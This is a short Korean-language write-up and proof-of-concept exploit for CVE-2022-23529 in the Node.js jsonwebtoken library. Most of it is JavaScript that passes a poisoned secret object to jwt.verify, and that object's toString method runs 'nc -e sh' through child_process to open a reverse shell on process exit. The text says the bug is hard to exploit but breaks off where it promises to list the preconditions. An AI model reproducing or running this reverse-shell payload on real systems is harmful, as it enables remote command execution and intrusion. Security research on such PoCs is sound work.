
악성 HMAC 비밀 개체를 통해 취약한 JWT 라이브러리에서 RCE를 시연하는 CVE-2022-23529에 대한 개념 증명 익스플로잇입니다.
JSON Web Token (JWT) 라이브러리 3.4.6, 4.0.4, 4.1.5 미만 버전은 RCE에 취약합니다.
HMAC 해싱 함수는 모든 문자열을 입력으로 받아들이므로 RCE가 발생합니다.
전제 조건으로 인해 이 취약점은 악용될 가능성이 낮습니다.
이 취약점을 악용하려면 공격자는 다음 조건 중 하나를 만족해야 합니다:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);